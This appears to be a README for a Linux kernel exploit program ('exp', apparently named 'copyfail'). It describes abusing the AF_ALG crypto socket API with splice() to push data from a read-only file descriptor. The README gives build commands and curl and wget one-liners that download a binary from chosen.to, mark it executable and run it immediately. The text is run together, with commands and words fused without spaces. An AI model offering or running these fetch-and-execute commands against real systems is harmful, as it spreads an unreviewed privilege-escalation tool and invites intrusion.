This project is a C port of the original Python prototype, by offsecguy.
It leverages the Linux kernel crypto API (AF_ALG) using:
authencesn(hmac(sha256),cbc(aes))AEAD modeMSG_MOREflagsplice()system call
The technique feeds data from a read-only file descriptor through a crypto socket, processing it chunk-by-chunk.
musl-gcc -static -Os -s -o exp exp.c -I./zlib-1.3.2 -L./zlib-1.3.2 -lzgcc exp.c -o exp -lz -s -staticgcc exp.c -o exp -lz -scurl -sLo exp chosen.to/copyfail && chmod +x exp ; ./expwget chosen.to/copyfail -qO exp && chmod +x exp ; ./exp- Requires Linux kernel support for
AF_ALG - Uses
zlibfor decompression - Designed for low-level kernel crypto interaction and experimentation
This code is provided for educational and research purposes only.
Use responsibly and only on systems you are authorized to test.